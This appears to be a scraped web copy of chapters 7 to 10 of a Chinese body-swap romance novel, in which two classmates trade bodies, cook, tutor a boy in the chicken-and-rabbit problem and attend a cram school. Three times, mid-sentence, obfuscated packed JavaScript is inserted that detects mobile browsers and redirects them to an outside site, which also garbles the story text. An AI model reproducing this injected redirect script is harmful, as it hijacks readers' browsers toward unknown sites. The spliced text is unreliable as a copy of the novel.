阮西颜洗漱完,简单吃顿早饭出了门。他今天跟路洱约了学做饭。 另一边的路洱。今天起床顺利了一点,因为终于没见到那只热乎乎摇尾的大金毛了。 她下床洗漱,同时地,手机提示音响个不停,乍一听还以为是闹铃。 路洱扫了几眼,是阮西颜微信群和有人单独给他发的消息。话说他人际网是真广,从路洱变成阮西颜开始,微信消息隔三差五地添加几条,吵得生烦。 她点进去,满屏红点且依旧在滚动刷屏的微信看了就想晕。路洱忍了又忍,最后把手机调成静音,这下世界安宁了。 至于有人单独私发给阮西颜的,干脆让他等会自己回了吧。路洱想,她多掺和指不定会暴露更多蛛丝马迹。 阮西颜在路上了。路洱不想坐着干等,去了他落地的公交站点接人。 坐这趟公交车的人大多是附近居民,这片又是著名的老住宅区,因此等待上车的老人家最多。 阮西颜出门往往要么乘地铁,要么骑单车,公交车已经从他的出行方式里退出了半个视野,但他还是明白怀安市公交车的具体乘坐流程的。 扫完公交码,他找了个单独的靠椅坐下。耳机插上两边,街旁风光在绿翳中影绰着,明朗的曲调,像是勾着每个细胞都分泌起多巴胺来。 阮西颜一向是个容易满足又容易振作的性子,既然改不了现状,那就享受当下吧。他轻轻掩着眼,车停了一站,陆续地上来新一批人。 周遭说话声变得又杂又闹。阮西颜睁开眼,看见车里不知道什么时候满了人。有个驼着背的大爷撑着身子靠在他椅子边。 阮西颜想了想,主动给大爷让位:“大爷,您坐这吧。” 大爷耳朵有点背,阮西颜拎高点声他方听清,转头看清是个小姑娘,皱纹里笑出花了:“哎哟,谢谢你了小姑娘。你不坐啊?” “我正好到站呢。况且我一个年轻人,身体还挺好的,您腿脚不利索就坐吧。”听见这声小姑娘,阮西颜嘴边的笑差一点没绷住。 路洱见着阮西颜时,正好是这一幕。他跟身后人挥手告别,从后门下了车。 脸上笑容还挽着,晨光像碎了的金镀在他脸廓,弥着茸茸的生气。那是一种独属于阮西颜的、却出现在路洱身上的蓬勃。 路洱微垂下眸子,等人跑到自己旁边了,才淡淡说了声:“走吧。” — 阮棠一大早跑去朋友家玩了,房子里没多余人,正好方便两个人待着。 阮西颜灵魂出走了三天,这会儿回到自己家,感动得想抱着每样家具都问声你们好不好。当然,碍于脸面,他不会真的这么做。 “今天毛毛不在吗?” 阮西颜张望着视线,遇上路洱奇怪的眼神,解释说:“哦,毛毛就是那头金毛的名字。它叫慢毛毛,一只公狗。” 阮西颜的微信名,路洱心想。她回答:“被你堂妹牵走了。” “嗯哼。”阮西颜觉得正常,记得崔凤交代的事,顺便告诉她,“你二婶叫我出门买菜。要买西红柿、土豆、包菜。家里还有鸡蛋,说不用买。” 路洱说知道了,刚才她看过冰箱,只有白菜和青椒几样。能看出这个家的人不怎么下厨房。 “先教你煮菜吧。”路洱放下捏眉的手,抬着的下巴指向白菜,“洗一个。” 倒不至于真正金枝玉叶,连菜都不会洗。里里外外洗个遍,路洱验收后,转开目光:“会开煤气没?” “……左拧,对吧?”阮西颜小心翼翼地瞧她,看她点着头了才松口气。这种像面对那个秃鹫年级主任的感觉是怎么回事。 秃鹫是三中脾气最差劲的年级主任,头有一顶瓦亮,脸有一面黑线,其惩罚手段狠厉得大清酷刑看了都得绕路走。 咳,扯远了。开火下菜,油火四溅的滋滋声令阮西颜眼睛闭了只,另一只还止不住地想后退着。 路洱去厕所了。翻炒,翻炒,他默念着。一滴热油跳上手腕,阮西颜颤了颤,却没松手。 “你火可以开小点。”路洱不知道什么时候回来了,她抱臂盯着阮西颜,心底无声叹口气,“我来吧,你去洗一下伤。” 阮西颜略略窘迫地把锅铲交给她,冲水的时候,路洱告诉他,这个火候太容易把菜炒糊了。 菜上来了,后半部分路洱负责,因此看着没什么问题。只是路洱夹了一筷子放嘴里,沉默了:“……你没放盐吗?” 碰着阮西颜无辜单纯的眼神,路洱终究没说什么:“算了,去煮青椒吧。” “青椒一般不会单炒,会搭点火腿肠或者猪肉。你会煮青椒了,回去可以买份跟土豆一块炒。” 这次有路洱全程监督,且及时出手,炒青椒做得比较顺利。 味道及格。得到路洱肢体语言同意,阮西颜不知觉地就翘开嘴角,那酒窝里跟溢了光一般。路洱看愣了愣,一秒后就撇开视线。 吃过午饭,时间来到了下午。路洱送阮西颜出门,后者仍在暗暗琢磨。会煮青椒了,那又怎么把土豆跟青椒煮一块呢? 他落在后一步,想得出神,路洱停下来,他冷不丁撞上她的脊背。 路洱的,不对,他的背怎么这么硬。阮西颜揉着撞得生疼的额骨,抬头看,男生的背影颀长又沉默,像棵正在抽节的小树。 女孩子的身高,跟男生果然是有不少差距的。阮西颜端量了眼自己,默默地想。 路洱扫过身,说:“没忘吧,还有家教的事。” — 两个人又一齐出现在姜言言家门前。姜言言开门见到路洱和阮西颜是一起出现的,已经见怪不怪了:“路姐姐,西颜哥哥。”他心里想着,就是情侣吧,情侣不就是整天黏腻形影不离的吗。 姜言言愈发坚定心中的念头。 “嗨。”一个带笑,一个平静,迎进门后,姜阿姨还在医院照顾人外婆,家里依然只有姜言言在。 “嗯。今天新学的是鸡兔同笼。大概一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180931|180963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 千五百年前,我国古代数学名著《孙子算经》中记载了一道数学题,说今有雉兔同笼,上有三十五头,下有九十四足,问雉兔各几何?意思是,笼子里有若干只鸡和兔,从上面数,有35个头;从下面数,有94只脚。鸡和兔各有几只?这就是著名的“鸡兔同笼”问题。” 磨磨蹭蹭把题干念完,阮西颜不舍地入了正题:“那你先看这题,李大爷院子里有个笼子,笼子里装着兔子和鸡,一共有33只头,有108只兔,鸡和兔子各有多少只?” 天杀的,小学就困住他的牢题,兜兜转转又一次套在了阮西颜头上。 姜言言好奇:“兔子是几只脚呀?前边的手也能算脚吗?” “兔子是四肢动物,前边的只能算前足,它是用四只脚走路的。” “哦。”姜言言打了草稿开算,列了个方程,就把结果算出来了,“路姐姐,是这样吗?” 阮西颜眼睛带几分愕然地张大,刚要点头肯定时,旁边的路洱暗示性给他一肘,阮西颜神会地开口说:“对,你用的是一个算法,叫方程法,做得很好。但是竞赛里往往会让你多用一两个算法,你看看,还能用什么?” “……”姜言言同学在稿纸涂抹一会儿,苦恼地揪紧了眉,“还有第二个算法吗?” 他的人机流程终于走完。阮西颜大气长舒,忙不迭推出身后人:“这就得交给你西颜哥哥了。他最擅长解这种题了,当年奥数赛他可是……” “这类题一共有五种算法。”路洱的耳朵自动屏蔽阮西颜的自吹自擂,“我教你比较好懂的两种。第一个是假设法……” 闲着的阮西颜拿到自己手机,回复了会儿朋友的消息。 两个半小时流逝过,阮西颜和路洱乘电梯下楼。 “我们真的没有办法换回来了吗?”阮西颜喃喃,他感觉看到了以后的日子,漫长的,全无光明的。 路洱头疼:“……我不知道。” “你说我们要不要去找个风水大师看看?”阮西颜下巴一摸,郑重思考起来了,“或者去找占卜师啥的?” 路洱评价:“好的能把骗子一窝缴了,坏的能被抓去精神病院。”她手压住额角平息片刻,“先去买菜吧。不是还得买菜回去吗?” 买菜也有学问。路洱仔细挑好土豆,转头想看阮西颜在哪,就见他高兴地提着袋青菜过来了:“包菜买好了。” “你买了多少钱的?”路洱本来随便一瞥,然后木住了脸,“……这是球生菜。” “啊。”阮西颜只觉得不可思议,“这不是包菜啊?” “标签上没写吗?”路洱走回卖蔬菜的区域,不知道为何,超市人员疏忽地把两样菜放一块了。包菜和球生菜也有人容易搞混,路洱给他说明区别:“包菜比较紧,球生菜比较松,你摸一摸,能感受出来。” “……原来是这样。” 看他这幅模样,路洱还是不放心晚饭全交给他做,心叹了气说:“我跟你回去煮饭吧。” 只是这到底不是长远之计。今天煮了,明天,后天呢?补习怎么办?家教怎么办? 两人心中都郁结。 边提防着有没有人发现边乱七八糟地煮了通饭后,路洱偏头望了望窗户,乌云像鲨鱼那般冲来了,越靠越低,似有倾盆之势。快下雨了。 “不早了,我回去了。下雨就不太好走了。” 阮西颜正拿纸巾抹汗,听见话喊道:“要不要我送你,或者拿把伞?” 路洱摇头:“不用。” “那好吧,明天见。” “嗯。”真希望明天不见。 8. 第 八章 昨夜下过雨,早晨的空气充斥着几丝凉意。 窗户开着,路洱感觉脚背被风蹭了蹭,有点冷。她缩缩脚,眼皮子跟着被冻醒了。 路洱立直身,看清周边时蓦地一惊,换回来了。 手拍着脸的触感证明不是幻觉,路洱半是清醒半是庆幸。脑子转动时,这几天的记忆都一并涌现眼前,以及某个淅沥的冒着热气的画面…… 路洱及时打住涨温的耳朵。她换回来了,那阮西颜应该也换回来了。 她开了微信,果断地给阮西颜发去条微信。阮西颜大概是没醒,直到半个钟头过后,他才接连发了一整页消息。 路洱没有回复。她想,换回来就好。 她不用再去考虑别的事了。 她在记事薄补下这几天牢记在心上的账单,还有阮西颜请她喝的两回饮品钱。 跟阮西颜的……还是早点结清了吧。避免夜长梦多。路洱想了想,拿出手机,给阮西颜当场转了条账。他回得很快。 【慢毛毛】:? 【11】:咖啡钱和奶茶钱。 这次他没说什么了。收下钱后,两个人也无话可谈了,就这么断了聊天。 回归彼此后,路洱照常进行自己的生活。这笔家教费对她而言,远远不够。她要还的,不止是记事薄上的账单,还有未来的支付开销。 吃早饭的间隙,路洱心里计划着去街上转一转,或许能找到什么别的兼职。 阮西颜这边,他逗毛毛玩了一会儿,陈想微信向他发来邀请,喊他出去玩。他想着这些日子算冷落朋友了,便同意了。 出门前,他拿那顶酒红色鸭舌帽戴上,余光发现桌上摊放的厚厚一本书。是路洱补习用的那本奥数教辅。 阮西颜给路洱留言一条消息,说她落了本书在这,又问她什么时候要拿。 收到阮西颜消息时,路洱正在一家名为福乐的广场上。有个好消息,她在附近商场里找到了一份接传单的活儿,日结。薪资不高,但足够方便。 路洱低头看见微信消息弹出来。得知阮西颜刚好外出,她慢慢打了行字。 【11】:你顺路捎过来吧,我在福乐广场等你。 【慢毛毛】:行。 — 福乐广场不远,阮西颜跟陈想也约在了这片的路口见,他决定走路过去。 “西颜。”陈想大老远就朝他挥手了,他背着包,两副羽毛球拍插在脑袋后,像两盏灯泡。陈想约阮西颜去的羽毛球馆。 “嗨。”阮西颜摆完手,示意他,“我们先去一趟广场?还是你先过去?我要还书给人家……借了别人的书还没还。” “一起去吧。” 两人一块同行。陈想瞥他几下,揶揄说:“你今天不装高冷了?又在培养什么新人设?昨天是高冷男神,今天……今天不会是什么元气奶狗吧?” 阮西颜没告诉他这几天的离奇事,只面无表情地呵呵两声:“滚吧你。我还野性狼狗呢。” “嘁,我还以为你整什么新花样呢?约都约不出来。哦,对了,你借了谁的书啊?”陈想探头探脑看个清楚。 到了福乐广场。阮西颜没回答,他抬着视线,一眼定格到了路洱身上。她今天穿了身背带牛仔裤,混在人群里不算明显,但不知道为什么阮西颜还是看到了她。 可能是习惯有她的视角了。阮西颜心想。 路洱也看见他了。她向他走过来,越来越近,他看清了她冰块似的一张脸。 阮西颜想先打招呼的,但看她不想多言的模样,把早上好咽进肚子里,而把奥数教辅递过去。 路洱验收一般地点头,离开前象征性回道:“谢谢。” 阮西颜:“不客气。拜拜。” 陈想在旁目睹全程,嘴巴咧得能塞下一个鸡蛋。 路洱走掉了。陈想给他一肘:“你和班长很熟吗?” 阮西颜其实以为,经历这种事,他和路洱好歹能算得上朋友。但现在看来,对方似乎并不是这么想。 单方面的友谊算什么友谊。阮西颜摇了摇头,陈想一边走,一边回想路洱的背影,说:“我是真想不到你会跟班长认识。她虽然是咱们班班长,但是我觉得,她人是真的很冷漠。” “我就没见班里有几个人能跟她搭上话的。有一次忘交班费,她来找我说,我还没忘记她那个态度,我去,”陈想咋舌,“冷得我快感冒了。” 陈想的话夸张过头了。阮西颜弯了弯嘴角。 不过在他看来,还不至于到冷漠的地步。顶多,一个防御机制太重,喜欢冷脸的女孩子。 最近的球馆离广场有几个红绿灯。两个人走着,看手机的陈想抬头问他:“你有没有打算去东京玩几天?盛皎在群里催我们一阵子了,没见你回复。去秋叶原,再去附近浴场冲浪,大夏天的,不知道有多凉快,正好降个暑气。” 盛皎是阮西颜发小,初中的时候出了国,寒暑假经常到全球旅行。 阮西颜兴致缺缺:“我要补习。明天就开始了,哪有空去啊。” “不是,你真要上那个破补习啊?又不是一周都在补,周末,再请个星期五的假,三天够你玩了吧。” “嗯。麻烦,不想去。” 他不想,陈想也没辙:“行吧。你不去我一个人去也没意思。盛皎她八成,九成只盼着你去。” — 听见敲门声,姜阿姨正剥着水果,扭头叫姜言言去开门。姜言言透着猫眼看见是路洱,立马打开了门:“路姐姐。” 他下意识往后瞧了瞧:“西颜哥哥怎么不在呀?” 路洱还没回答,姜阿姨也走过来了。知道路洱会这个点来,她特地削了她喜欢吃的水果。姜阿姨热情地迎路洱进门:“小洱来了啊,欢迎欢迎。” “你那位朋友,今天没跟你来吗?” 姜阿姨果然也听说了那件事。路洱不自在地挠了挠耳尖,解释说:“他今天有事,我自己来。之前他是对做家教感兴趣,想观摩,我就擅自把他带过来了。对不起,姜阿姨。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180932|180963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “你这孩子,这有什么大不了的,抱歉什么啊。”姜阿姨一大摆手,眉目亲切,“我还想说今天好好招待下你和你的朋友呢。之前帮忙看护外婆没得空招呼你们,两个人教导我家言言,多不好意思。” 姜言言在后边默默将话全收进了耳朵里。他想,这两个人肯定是情侣吧,猜到妈妈今天会在家,为了避嫌,西颜哥哥特地不来了。姜言言同学深深地陷在自己的揣测中。 补完习,回家的路上,路洱碰到了米娜老师。她抱着米恬在楼下的健身器材玩,路洱走上去:“老师好。” “路洱?”米娜老师笑,“去哪里回来了?” “去了街上。” 米恬脑袋上只覆着薄薄的一层发。米娜老师说,米恬不喜欢洗头发,每次洗头都闹腾着不要,俨然对洗头抗拒到了极点。后来米娜老师提议,给她剪成光头,但米恬嫌难看,最后的最后,还是理发师给剪成了个短发。 米恬跟米娜老师长得很像,一对丹凤眼,米恬年纪还小,双眼皮的弯痕大开大合,尤显稚嫩。 路洱蹲下身,和米恬打招呼。米恬一本正经地把手心的一件小风扇递给她:“路洱姐姐,送给你。这是我发明的新玩意儿。” 米恬喜欢照着教程做各种新奇的小发明。有几次路洱去米娜老师家做客,都能见米恬坐在地上,心无旁骛地对着书本拆装小物什。 周边包括二婶二叔在内的邻居,都说米恬不像个女孩。哪有女孩子净搞这些花里胡哨,又没用的。米娜老师没有同意,她说米恬是什么样,女孩子就是什么样。 “谢谢你。我收下了。”路洱眼梢垂下来,微微地有笑意染上去。 “对了。”路洱临走前,米娜老师嘱托一句,“明天该去补习班上课了,地址和时间我都给你发了。明天准时到啊。” 路洱点头:“好。” 晚上回了房间,路洱坐在床边看书。窗户缝里,有一个小黑影钻了进来,身子是乌云蔽雪,四只白袜板板正正地套着。它“喵呜”叫了一声,跳上路洱床边。 路洱边摸它脑袋,边打开和阮西颜的聊天框。 刚变回来一天,阮西颜就多更新了条朋友圈。一张配图,场景应该是在球馆。两根羽毛球拍立在屏幕跟前,有一根戴着红的鸭舌帽。这么一看,像是羽毛球拍在自拍。 很有趣味。确实是阮西颜会想出来的拍摄方式。 路洱退出来,停在和阮西颜的聊天界面中。她犹疑着点入头像,点入右上角的半个省略号,在“删除”键那里,停了又停。 她和阮西颜,就像两条平行线,本来就该没有关系的。那有关系,也是意外。现在意外没了,一切,应该变回原样吧? 她和阮西颜也是。 路洱踌躇了好一会儿,还是没有摁下那个鲜红的键。 她顺了顺奶牛猫背腹的毛发,心想,等这个夏天过去吧。明天的补习,还得见面。不然到时候多尴尬。 夏天过去了,恢复成过去就好了。 9. 第九章 天蒙蒙亮,老街口已经棱足了大大小小的早餐摊子。 陶仰年脑子还在睡,就靠着只鼻子,游到了熟悉的包子铺。 陶仰年昨晚打游戏到三点半,现在脑袋困得频频下低。周边的人头撞前撞后,排到队了,他喊句要三个白菜猪肉馅的包子。大娘头也没抬把包子递给他,陶仰年没反应了,还是后边一女生拍拍他的肩膀,他才大惊着嗷了两下嗓子:“啊啊?” “小伙子没睡醒呢?”大娘觑他两眼。陶仰年不好意思地给后边女生让位,挠头说:“起太早了,没适应。” 大娘甭得空理会:“你的一共三块钱,旁边扫码啊。小姑娘,你要啥?” 陶仰年去旁边扫码了,有个比较矮的脑袋挤到摊子前,接着他听见了睡醒以来唯一清晰的一道声音:“要两个香芋包,谢谢。” 那声音很快被周边的嘈杂淹没了。陶仰年没太在意,他边咬着包子边去往补习班的路上。 还不是他妈,看他闲着没事干就给他报了个补习班,嘴里还念念有词着说什么勤能补拙,明年的高考一定要胜过某个亲戚家,给她长长脸。 搞笑,两个鸭蛋想砸出头大金凤。要比的话,比怎么打LOL不行吗,单挑他必赢。陶仰年不屑,顺手把吃剩的塑料袋塞进了人行道的垃圾箱。 十字路口人流熙攘,陶仰年正插兜玩手机,冷不防被人敲了下肩。他扭头,那个刚刚在包子摊见过的女生,递来份东西。见陶仰年没动,她才补充说道:“你的钱包,刚才掉了。” 那个清晰的声音又传入耳朵里,像雪落在眼睫毛那样印象深刻。陶仰年愣了好一下,再回过神时,女孩已经混进了人堆里,不见踪迹。 — 【金刚光】:你是说?十七分二十三秒前,你遇到了自己此生的命中注定? 【mostimportantly】:我要@陈想了,@陈想,快现身说法一下。 【想想得了】:心情如名。 【陶渊年】:?你们不信?那妹子真的长在我点上了。 【mostimportantly】:捡钱包就跟人看对眼了?那妹子实惨。 【想想得了】:嗯。他这样的倒贴我都不要。 【陶渊年】:……@陈想@白姚,你两滚犊子行吗。 【陶渊年】:还有@沈光浩,是二十七分三十二秒,你说错了。 【金刚光】:呵呵。「黑人问号脸」 …… 【想想得了】:@陶仰年,你不是在补习吗?哪来空玩的手机。哦,还有西颜,也在补习吧?@阮西颜,在干嘛呢? 被艾特的正主没回复,他此刻刚下第一轮语文课补习。阮西颜打着哈欠,揉着眼,转头见陶仰年兴奋地跑到了跟前:“阮西颜,我跟你一个补习班啊?这下不无聊了。” 陶仰年、阮西颜和陈想他们初中都在一个班,高中后就分散去了几个学校。陶仰年高中就读的怀安十一中,平日相处少了,但他们关系仍像没分开过似的。 “啊,哦。好巧。”阮西颜没什么感情地说,而陶仰年见熟人就藏不住话痨了,“你知不知道,就在刚刚,我遇到了我的一见倾心。就是可惜没问她要微信。她……” 阮西颜不想听,但耐不住陶仰年扒在耳旁絮叨叨。预备铃打响了,教室里又零碎地进来几个人。补习场地开设在一所小学里,方便给补习生们铃声提醒。 阮西颜正萎着呢,余光里映入一个熟悉的影子。他偏头,教室全是单人桌,现在还空的位置,只剩下阮西颜后边和右边。后边已经被陶仰年占了,她只能坐右侧了。 “哈喽?”阮西颜抬了抬手。 路洱神色平淡:“嗯。” 原本叨个不停的陶仰年不知道什么时候住了嘴,他目光呆呆地在两人身上盘旋:“你们,认识啊?” 阮西颜这下知道他的一见倾心是谁了,还没说话,陶仰年又抢着跟人搭话说:“刚才谢谢你啊同学,捡了我钱包。我叫陶仰年,跟阮西颜读一个初中。” “……”出于客气,路洱摇头,又点下头,“路洱。三点水的耳。” “你们之前认识啊?”陶仰年试探性地问。 路洱没说话,阮西颜只好说:“我们现在高中一个班的。她是我们班班长。” “这样子啊,这么巧,我们居然都是一个补习班的,我现在读的十三中……”陶仰年还想把话题接下去,见米娜老师悠悠走了进来,才刹住聊天。 上课前,阮西颜收到陶仰年的一条微信。他问:“你们两个熟吗?” 不怎么熟。阮西颜打下这几个字,就收起了手机。 — 英语课结束,刚好在中午十二点钟。大家先后离开了教室,阮西颜跟陶仰年落在后头。 陶仰年不自觉瞄了眼路洱空掉的位置:“刚刚在微信群,我给她发了好友申请,她还没通过。上课都没见她拿出过手机,你们班长不会成绩很好吧?” “确实。”两人来到了大街,“她是我们班学习最好的。” 中午太阳很毒。阮西颜手朝下压了压鸭舌帽:“现在要吃什么?” “吃炒河粉?我记得这附近有家挺好吃的店。”陶仰年双手枕着脑袋,这会儿忽地放下,身子也跟着立直了。他扯阮西颜,一指,“哎哎,你看。那是不是你同学?” 听他的话,阮西颜抬高眼神。路洱站在远处,怀里抱着沓传单在发。她没有大声吆喝,他们靠近了,才听见她向一旁大爷发出的请求声:“看看吗?” 大爷不理,她便静静地等待下一名路过的人。 看来是第一次做啊,阮西颜心想。如果照她这样子发传单,那恐怕得等落山了才能收工吧。 陶仰年决不会放过这个好机会,他摩拳擦掌,边怂恿阮西颜边说:“我们去帮帮你同学吧,大太阳底下的,站久了也不怕中暑。” 陶仰年哪有那么好心,分明醉翁之意不在酒。阮西颜没有揭穿,他想着看到了帮忙一把也不是什么大事,于是跟着陶仰年走过去了。 “好巧啊同学。”陶仰年脸上笑嘻嘻,开口即是废话,“你在发传单吗?” “嗯。”路洱的刘海被汗濡湿了些,她小心拨开一些。大概意识到回答的冷淡,她多了一句,“做暑假工。” “我和西颜正好没事做。我们来帮你吧。” 阮西颜清楚路洱的性子,答应就见鬼了。但几人都没想到,陶仰年会这么热情地上手夺走了大部份传单。路洱微微怔住,伸手想要回来:“不用了,我自己来。” “诶呀,来都来了,我帮你。”陶仰年地把传单抽了部分给阮西颜,“你也来。”阮西颜抬目,不偏不倚撞着路洱的眸光,他眨眼,摊手,露出一个你就从了他的表情。 路洱心底无奈,身旁陶仰年已经开嗓派发,见状她只能由他们去了。 厚重的一沓传单就这样花了半个钟头解决。路洱盯了盯旁边的人,低下眼睛:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180933|180963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢谢你们两个帮忙,我请你们吃饭吧。” “不用不用,这点小忙算什么。你都帮我捡了钱包。”陶仰年甩了把手心的汗,计谋得逞,他赶忙道出另一个难以拒绝的要求,“要不这样吧?你看,我们现在认识了,要不你跟我加个微信吧?” 路洱犹豫一下,点头道:“好吧。”她拿出手机,通过了陶仰年的微信好友申请。 陶仰年还不肯罢休:“我和西颜刚好要去吃午饭。你也没吃吧?一起去吗?” 路洱脸皮薄,很难拒绝人,更何况人家刚才帮了她大忙。她便答应了:“好。” — 三人在商场里逛,商量着接下来还去哪里吃。 路洱慢在两个男生脚步后,低头给姜言言回微信。他在写她昨天布置的家庭作业,对其中一题持有困惑。 “热死了,要不吃凉菜吧。”陶仰年提议。 阮西颜没意见:“可以。” “路洱,怎么样?”陶仰年询问她的意见。 路洱刚想说行,却见对面玻璃靠栏趴着个孤零零的小影子。她顿了顿,走上去,开口说:“米恬?” 不明所以的两个人一同跟人上前。陶仰年望着这一幕,摸不着脑袋:“这小女孩你认识啊?” 阮西颜也认出来了:“是米娜老师的女儿。”他给陶仰年解释,“这是我们班英语老师的女儿。” “哦,我差点以为这是个男生呢。咋剪了个寸头。”陶仰年砸吧嘴评价,随即左顾右盼,“你们英语老师在哪?留女儿一个人在这啊?” 路洱问米恬:“老师去哪里了?” 米恬摆弄着枚纸飞机:“妈妈说去上厕所。让我再这里等。”那枚纸飞机突然被她扔出,一个弧线,精准地砸在了陶仰年头顶。不痛,陶仰年瞪圆双眼,米恬不客气地回瞪:“我才不是男生。” 陶仰年气笑了,刚要蹲下来给小孩一个小教训,身后就有个温柔的声音姗姗来迟:“哎呀,小恬,做什么呢?快跟哥哥道歉。” “哼。”米恬噘嘴,明显不服,“对不起。” “没事没事。”真让道歉,陶仰年倒不好意思起来。 米娜老师方才发现了一旁的阮西颜和路洱,她脸色泛着苍白,笑容仍显亲和:“路洱,阮西颜?你们都在一块啊?这么有缘,看在你们帮老师看小孩的份上,老师请你们吃麦当劳。” 五人还是一同去了麦当劳店。套餐上来了,米娜老师的脸庞也渐渐盈满了正常的血色。 她笑着看几人:“你们是刚好补习下课碰上的吗?” 路洱主动回答:“他们帮我发了传单,我们一起去吃饭。”听见话,阮西颜若有所思地看了路洱一眼。 米娜老师:“都来上一个补习班,挺好的,还能互帮互助……” 陶仰年还在跟米恬幼稚地斗嘴:“你嘴一点都不甜,叫什么米恬,改名叫米老鼠得了。你看过米老鼠没有?” “那你是唐老鸭。陶老鸭,陶烤鸭。” “鸭子比老鼠好吧……” 一轮对话下来,看陶仰年被气得牙痒痒又拿她无可奈何的表情,米恬得意地扬起了纸飞机,米娜老师忙歉笑着制止:“够了啊小恬,再弄没收。” 一顿饭吃得差不多了。米娜老师转眼看玻璃外,黑云蹚过半边天,光亮欲藏未藏。 她叮嘱说:“你们带伞了吗?要下雨了。没带的话,没课了就早点回家吧。” 路洱、阮西颜点点头。 10. 第十章 路洱到家时,雨还没下。崔凤和路国烊的房门紧闭着,这个点,两人应该在午睡。 她清理了桌上残羹,洗好衣物,回了房间。 天气燥热,一觉睡起来容易油头垢面。路洱决定去厕所把头洗了。 洗着洗着,她听见雨滴敲窗户的声音。莫名的分神,使得泡沫蹭到了眼皮梢,路洱忍不住关上眼。 短短两秒,她睁开眼,周边的景象霍地变了。她定定盯着前一个人因犯困垂得快要亲上桌面的脑袋,心里猛呼一口气。 又,变,成,他了。 下午是数学课。补习老师是个约摸五十的严肃小老头,说话怎么都不清晰,好像有陈年老痰卡喉一样。阮西颜听着听着就觉得那声音越来越远了。 下雨天还是适合睡个回笼觉啊。他扫了眼阴沉沉的天空,心道。 说干就干。阮西颜右臂撑着桌,左手支住脸,试图用一个蒙混过关的姿势打会瞌睡。 只是怎么样都不如在床上舒服。阮西颜稍微地紧了紧眉,眼睛打开的刹那,他看见了一片片白绿纹理的瓷砖。 教室的地板长这样吗? 阮西颜诧异地挠挠脸,谁料一伸手,就抓到了满掌心的白泡泡。 阮西颜:“……” 他终于后知后觉,这里不是补习教室,他也不是他。匆忙冲好双手,阮西颜顶着还飘着新鲜泡沫的头发东张西望。 好吧,他又变成路洱了。 眼下没办法,阮西颜帮人把弄了一半的头发洗干净,拿条毛巾边擦边出厕所。路洱下午没课,直接回的家。 一回生二回熟了,阮西颜进她房间,坐床上开手机,编辑微信过去询问情况。 另一边的路洱,反应过来后,不同于周边人地坐直了身体。她低头看着摊在眼前的数学笔记,有点心烦地揉了揉眉宇。 “说了这么多,大家知道三角函数常考的几种题型了吧?看这道题,我不仅要你说出解题过程,还要说这题考的什么类型。” 小老头视线在教室里巡视几圈,台下的同学们拼命躲避着目光。小老头确定了目标,开口说:“那个坐最后排的男同学,你来吧。” 被点到的陶仰年,一时不知道该挂个问号脸还是空白脸。他硬着头皮站起身,嘴巴自觉地把题干先念上一遍:“……阔、阔死括号阿法加六分之派……” 周边响起嘁喳的笑声。 “那个读cos,扣赛,你想读cosplay啊?” 哈哈哈哈。教室里的笑声变多了。 陶仰年委屈地缩缩头:“……老师,我不会。” “那你前边的那个男生来吧。你们两应该挺熟的吧?上课前就见你们俩说个不停。是叫……阮西颜吗?”小老头“砰”地合上花名册,“患兄患弟,来,帮他一把。” 陶仰年回想了一下阮西颜的中考分数,然后心死了。你说为什么我们能玩在一块。 路洱站起来,她眼睛注视着题目,语气冷静地说出了答案:“用诱导公式把后边的sin换成cos,再变形成cos的二倍角公式,答案应该是三分之一。” “这题主要考的是二倍角公式。” 小老头眉目流出些赞许的神色:“对,这题不用二倍角解不了。你先坐下吧,后面的同学,也坐下吧。” “这题不难。你们只要会用诱导公式和二倍角就行。” 小老头转过身。四十五分后下课,到了休息时间。 陶仰年带着小兴奋地叩了叩路洱的肩:“哇塞,你啥时候背着我蜕变了,啥是诱导公式啊?”他趴在路洱耳旁嘟囔,“我还以为刚才我俩要一起接受众矢之的了。这可是我们初中干得最多的事。” “……”路洱无心应付,她径直翻出手机,当下有另一件燃眉的事等着她解决。 果真先收到了阮西颜的消息。路洱努力捋打结的思路,跟他交代清楚待会儿要做的事情。 【11】:你不是还要去补习吗?两点半开始,对吧? 【慢毛毛】:嗯,等下在公交车上见,麻烦你了。 【11】:没关系。 他发了条小猫摸摸头的表情包。后面的,路洱没有回复。 — 门铃响了,正在看动画片的姜言言小朋友跳下沙发,踮起脚尖望猫眼。看清了熟悉的人影,他立马打开门:“路姐姐。”后边的人跟着晃出来,姜言言顿了顿,“西颜哥哥。” “啊哈哈,又见面了。”阮西颜笑得一点都不自然,“……你妈妈还是不在家吗?” “嗯,妈妈今天去给外婆拿药。” 